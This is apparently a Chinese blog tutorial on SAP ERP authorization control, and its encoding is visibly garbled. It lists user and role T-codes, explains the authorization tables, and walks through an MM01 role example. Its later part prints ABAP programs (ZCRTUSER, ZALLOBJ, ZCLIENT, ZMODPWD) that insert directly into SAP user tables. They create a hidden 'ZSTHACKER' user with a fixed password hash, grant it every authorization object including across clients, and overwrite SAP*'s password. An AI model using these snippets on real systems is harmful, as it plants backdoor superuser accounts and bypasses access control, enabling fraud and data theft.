权限控制
常用權(quán)限相關(guān)Tcode .
(一)Role(角色)相關(guān)T-code:
PFCG? 創(chuàng)建
ROLE_CMP 角色比較
SUPC? 批量建立角色profile
(二)建立用戶
SU01 ??建立用戶
SU01D? 顯示用戶
SU2|SU3|SU50|SU51|SU52?? 改變/顯示用戶個(gè)人參數(shù)
SU10|SU12? 批量維護(hù)用戶
SUCOMP維護(hù)用戶公司地址
SUIM ?用戶信息系統(tǒng)(強(qiáng)調(diào)一下)
(三)建立用戶組
SUGR|SUGRD_NAV 維護(hù)用戶組
SUGRD|SUGR_NAV 顯示用戶組
?(四)維護(hù)檢查授權(quán)
SU20|SU21自定義授權(quán)字段和授權(quán)對(duì)象
SU53 當(dāng)出現(xiàn)權(quán)限問題可使用它檢測(cè)未授權(quán)對(duì)象.
SU56:分析authoraztion data buffers.
常用權(quán)限相關(guān)表格:
TOBJ :All avaiable authorzation objects.(ERP系統(tǒng)默認(rèn)的所有授權(quán)對(duì)象)
USR12: 用戶級(jí)authoraztion值
USR02:User Logon Data(包括用戶名稱密碼,是否鎖住等字段)
USR03:Useraddress data
USR05:UserMaster Parameter ID(Tcode SU3可查看用戶參數(shù)文件的參數(shù)ID默認(rèn)值)
USR41:當(dāng)前用戶(即TcodeSM04看到的所有當(dāng)前活動(dòng)用戶,包括各種對(duì)話系統(tǒng)通信類用戶)
USRBF2:記錄當(dāng)前用戶所有的授權(quán)objects
UST04:UserProfile master(用戶主數(shù)據(jù)中對(duì)應(yīng)的權(quán)限參數(shù)文件名)
UST10S: Single profiles(授權(quán)文件,權(quán)限參數(shù)和授權(quán)對(duì)象對(duì)應(yīng)表)
UST12 : Authorizations(具體授權(quán)細(xì)節(jié))
重點(diǎn)提示:
USR02/USRBF2/UST10S/UST12四個(gè)表包含的信息就是ERP權(quán)限控制的關(guān)鍵,前者是用戶主數(shù)據(jù)表,后三者和用戶授權(quán)緊密相關(guān)。
我現(xiàn)在來舉一個(gè)MM01建立物料主數(shù)據(jù)的實(shí)例來說明ERP的權(quán)限控制設(shè)計(jì)思路,步驟如下:
第一步:建立角色(Tcode:PFCG)
圖1中,假設(shè)建立角色ZMM01。
圖1-[1][2]:在菜單Tab頁選擇“事務(wù)“加入MM01->創(chuàng)建物料&,你還可為程序,查詢這樣的報(bào)表授權(quán),選擇”其它“還能為數(shù)據(jù)倉庫等對(duì)象設(shè)置權(quán)限角色。
圖1-[3][4][5]:到“權(quán)限“Tab頁看到系統(tǒng)自動(dòng)產(chǎn)生的授權(quán)參數(shù)文件Profilname T-C1550437,然后選擇”更改授權(quán)數(shù)據(jù)“,進(jìn)入圖2。
顯然系統(tǒng)并不意味你給了建立物料的權(quán)限就能隨意使用該Tcode了,系統(tǒng)有更嚴(yán)格的細(xì)致控制。
圖2-[1][2]:我們可以看到建立物料主數(shù)據(jù)的權(quán)限分公司代碼層次,倉庫層次,物料類型層次,銷售組織層次,物料組層次,和工廠層次等等,特別是對(duì)于象公司代碼,銷售組織和工廠這樣的組織層次授權(quán)字段,控制點(diǎn)是非常必要的,一個(gè)大集團(tuán)實(shí)施ERP,各公司代碼,各公司代碼下的各Plant授權(quán)用戶只能建立各自的物料,現(xiàn)在來看看是如何控制到工廠級(jí)別的。
圖2-[3][4][5]:在每個(gè)控制級(jí)別(即權(quán)限控制字段)都分控制字段和作業(yè),每個(gè)權(quán)限控制字段對(duì)應(yīng)一個(gè)所謂的授權(quán)對(duì)象,工廠的授權(quán)對(duì)象是M_MATE_WRK,所有授權(quán)對(duì)象的作業(yè)統(tǒng)一都是ACTVT,包括01/02/03/06/08五個(gè)作業(yè),即控制是否允許創(chuàng)建更改顯示刪除等。比如MM01的作業(yè)只給03->顯示,則只能顯示物料。
注:
如果有特殊權(quán)限控制需要,可以使用SU20|SU21自定義授權(quán)字段和授權(quán)對(duì)象
圖2-[6][7]:點(diǎn)擊“工廠“,進(jìn)去增加工廠權(quán)限,設(shè)置了工廠FRA1,FRA2和一個(gè)工廠范圍FRM1-FRM2。
注:
如果公司代碼,物料類,物料組,工廠等授權(quán)字段選擇*表示允許輸入該字段所有的內(nèi)容。
經(jīng)過我一個(gè)個(gè)點(diǎn),好不容易,你看到的圖2現(xiàn)在是一片綠色,現(xiàn)在可以按圖2-[8]按紐生成權(quán)限參數(shù)文件了,這步是必須的。 權(quán)限設(shè)置越細(xì)致,管理員的工作量將越大,據(jù)說,有一個(gè)項(xiàng)目權(quán)限設(shè)置時(shí)間緊迫,時(shí)間緊呀,Basis兄弟有責(zé)任心呀,人家早上5點(diǎn)鐘就起床開始將急著忙著將紅燈點(diǎn)綠,由于點(diǎn)的速度過快,時(shí)間過長(zhǎng),結(jié)果呢,硬是將鼠標(biāo)都點(diǎn)的冒起縷縷青煙了。
接下來,使用SU01建立一個(gè)用戶假設(shè)名叫butcher,然后在此將角色ZMM01分配給它,如圖3,記得要做“用戶比較“知道該按紐變綠,這和人帶的帽子不同,在角色設(shè)置中,越綠越好,至此,一個(gè)最簡(jiǎn)單的權(quán)限設(shè)置就Ok了,用戶butcher只能使用MM01在工廠FRA1,FRA1,FRM1,FRM2四個(gè)工廠上建立物料主數(shù)據(jù)。
現(xiàn)在來檢查USRBF2/UST10S/UST12三個(gè)和用戶授權(quán)相關(guān)的表格數(shù)據(jù),如圖4,圖5和圖6。
圖4是用戶參數(shù)文件表USR10S和用戶授權(quán)表USRBF2的合成圖。
圖4-[1][3][4][6]: UST10S表的參數(shù)文件T-C1550437正是圖1-[4]中定義角色ZMM01時(shí)生成的參數(shù)文件,對(duì)象表示的即授權(quán)對(duì)象,每個(gè)授權(quán)對(duì)象對(duì)應(yīng)一個(gè)圖4-[6]的權(quán)限名稱T-C155043700| T-C155043701,這倆權(quán)限名稱正是參數(shù)文件T-C1550437文件+系號(hào)。
圖4-[2][5]:用戶授權(quán)對(duì)象表USRBF2包含了ERP用戶BUTCHER所對(duì)應(yīng)的(授權(quán))對(duì)象和對(duì)象對(duì)應(yīng)的權(quán)限名稱,現(xiàn)在注意一下USRBF2表用戶BUTCHER包含了工廠的授權(quán)對(duì)象M_MATE_WRK,其對(duì)應(yīng)的授權(quán)名稱是T-C155043700,那么圖2-[7]設(shè)置的四個(gè)工廠FRA1,FRA1,FRM1,FRM2保存在什么地方呢?請(qǐng)見圖6。
為什么一個(gè)參數(shù)文件T-C1550437產(chǎn)生了兩個(gè)T-C155043700| T-C155043701權(quán)限名稱呢?
查看權(quán)限對(duì)象設(shè)置時(shí)發(fā)現(xiàn),在倉庫授權(quán)對(duì)象M_MATE_LGN和銷售組織/分銷渠道授權(quán)M_MATE_
VKO下系統(tǒng)竟默認(rèn)了兩次相同的授權(quán)作業(yè),如圖5。
圖5表示建立物料主數(shù)據(jù)的倉庫號(hào)和銷售組織/分銷渠道默認(rèn)授權(quán)了兩次。
?
圖6中,可以看到授權(quán)對(duì)象M_MATE_WRK(即工廠授權(quán)對(duì)象)有5條記錄,其中字段ACTVT有
01,06兩條,分表表示允許建立和刪除物料數(shù)據(jù),工廠WERKS有三條,正是FRA1,FRA2,和值
FRM1到值FRM2,如圖6-[2][3]。
至此,權(quán)限設(shè)計(jì)的基本邏輯就非常清晰了,如果用戶BUTCHER要建立某工廠的物料,首先從
授權(quán)表中查看是否有M_MATE_WRK的授權(quán)對(duì)象,然后再到UST12去檢查輸入的工廠是否在授
權(quán)范圍,If not so,則提示未授權(quán)。
現(xiàn)在用戶BUTCHER建立物料主數(shù)據(jù),輸入工廠1000,提示M3 855未授權(quán)處理工廠1000的
主數(shù)據(jù),如圖7。通常有兩種便捷方法查找到權(quán)限控制邏輯,一是SE91輸入M3 855查找,
二是直接在物料主數(shù)據(jù)建立程序中查找,一定能看到該主程序的子程序下到處都有象圖
7-[4]的AUTHORITY-CHECKOBJECT ‘授權(quán)對(duì)象名稱’
ID ‘ACTVT’? ‘作業(yè)允許號(hào)’
ID? ‘授權(quán)字段‘?FIELD? ‘用戶輸入內(nèi)容“
這樣的權(quán)限檢查邏輯。
回顧一下,注意以下三點(diǎn)。
[1].創(chuàng)建角色Role將產(chǎn)生一個(gè)授權(quán)參數(shù)文件Profiel Name 。
[2].一個(gè)授權(quán)參數(shù)文件包含許多授權(quán)對(duì)象Authority Objects,實(shí)際上是如果將多個(gè)Tcode或報(bào)表或起其它什么的賦予一個(gè)Role,系統(tǒng)將這些Tcode(或報(bào)表)對(duì)應(yīng)的授權(quán)對(duì)象帶出,這些授權(quán)對(duì)象當(dāng)然在Tcode(報(bào)表對(duì)應(yīng)的)程序邏輯中會(huì)有體現(xiàn),則角色對(duì)應(yīng)的授權(quán)參數(shù)文件將包含這些授權(quán)對(duì)象。
[3].授權(quán)對(duì)象通常有兩部分組成:
一是作業(yè)ACTVT,作業(yè)號(hào)分別是:
01? 創(chuàng)建或生成
02? 更改
03? 顯示
06? 刪除
08? 顯示修改文檔
?? 二是授權(quán)字段,這些授權(quán)字段通常是諸如組織結(jié)構(gòu)層次的公司代碼,工廠,或其它比如物
料類型,憑證類型等,這樣可以做到更細(xì)微的權(quán)限控制。
現(xiàn)在我們知道,實(shí)際上決定權(quán)限的是授權(quán)對(duì)象Authorization Object,用戶的授權(quán)對(duì)象表在USRBF2中,所以只要往這個(gè)表插入數(shù)據(jù)就獲得了權(quán)限,現(xiàn)在可以使用SE38建立用戶和授予權(quán)限。
下面的程序ZCRTUSER是建立用戶ZSTHACKER(初始密碼123qaz)并賦予SAP*用戶的所有權(quán)限的參考程序.
?
| Program ZCRTUSER. Data ZUSR02 like USR02 . ***1.Create User ZSTHACKER according to DDIC select single * into ZUSR02 from USR02 where BNAME = 'DDIC'. ZUSR02-BNAME = 'ZSTHACKER'. ZUSR02-Bcode = 'E3B796BB09F7901B' . insert USR02 from ZUSR02? . ***2.Copy any auth. Obj from all users data ZUSRBF2 like USRBF2 occurs 0 with header line. select *? from? USRBF2 into table ZUSRBF2. Loop at ZUSRBF2. ? ZUSRBF2-BNAME = 'ZSTHACKER' .? ? Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. |
如果SAP*可能被刪除,還可直接將TOBJ中包含的所有的ERP授權(quán)對(duì)象全部賦予給一個(gè)用戶。
以下程序ZALLOBJ是賦予所有的標(biāo)準(zhǔn)授權(quán)對(duì)象給用戶ZSTHACKER 。
| Program ZALLOBJ。 Data Ztobj like tobj occurs 0 with header line . data zusrbf2 like usrbf2. select * into table ztobj from tobj . loop at ztobj. ? zusrbf2-mandt = sy-mandt. ? zusrbf2-bname = 'ZSTHACKER'. ? zusrbf2-objct = ztobj-objct. ? zusrbf2-auth? ='&_SAP_ALL'. ? modify USRBF2 FROM? zusrbf2 . endloop . ? |
也可跨Client建立用戶和賦予權(quán)限,只要使用client specified就可以。
| Program ZCLIENT. Data zusrbf2 like usrbf2. Select * into zusrbf2 from usrbf2? where bname = 'SAP*' . Zusrbf2-bname = 'ZSTHACKER' . Zusrbf2-mandt = '100'. Insert into usrbf2 client specified values zusrbf2. Endselect . |
下面是一句話修改SAP*的密碼為123456的程序,同樣,假設(shè)用戶BUTCHER的密碼丟失,我只要隨便在一臺(tái)服務(wù)器上建立一個(gè)用戶也叫BUTCHER,然后密碼設(shè)置為1QAZ2WSX,則其在任何系統(tǒng)任何client加密后的密碼必為BF02C9F1F179FB45 ,這樣的加密意義已經(jīng)不大。
| report ZMODPWD. tables :usr02 . update usr02 set bcode = ' CF094BAA2020480E' where BNAME = 'SAP*'. |
雖然以上只是一個(gè)建立物料主數(shù)據(jù)的權(quán)限控制,卻非常清晰地解釋了ERP系統(tǒng)權(quán)限控制的邏輯。
那么ERP系統(tǒng)和我幼兒園時(shí)的權(quán)限作業(yè)究竟有什么不同呢?關(guān)鍵在于系統(tǒng)不僅僅是控制到了象建立物料主數(shù)據(jù)這樣的業(yè)務(wù),而且在Access control訪問控制上引進(jìn)了授權(quán)對(duì)象這個(gè)概念,從而使一個(gè)授權(quán)控制細(xì)微到了組織結(jié)構(gòu)層次和其它一些象物料類型字段控制層次上并且可控制到新建更新刪除顯示這樣的作業(yè)層次。
非但如此,系統(tǒng)還允許用戶靈活定義授權(quán)字段和授權(quán)對(duì)象(Tcode:SU20|SU21),當(dāng)然這些要使用增強(qiáng)程序,還有一點(diǎn)就是,系統(tǒng)在幾乎每個(gè)常用事務(wù)碼都提供了增強(qiáng),比如物料就可使用BTE增強(qiáng)權(quán)限(請(qǐng)參考小技巧-業(yè)務(wù)交易事件BTE),可以輕松將權(quán)限控制到物料主數(shù)據(jù)龐大字段的的任何一個(gè)字段.
字段級(jí)權(quán)限
SAP BI實(shí)際上只要信息對(duì)象設(shè)置授權(quán)相關(guān)就能根據(jù)該字段控制權(quán)限.
幾個(gè)關(guān)鍵詞
敏感數(shù)據(jù)權(quán)限控制,記錄級(jí)數(shù)據(jù)權(quán)限,字段級(jí)(比如重要數(shù)量或金額字段)數(shù)據(jù)權(quán)限
預(yù)定義角色:本地角色和通用角色。
總結(jié)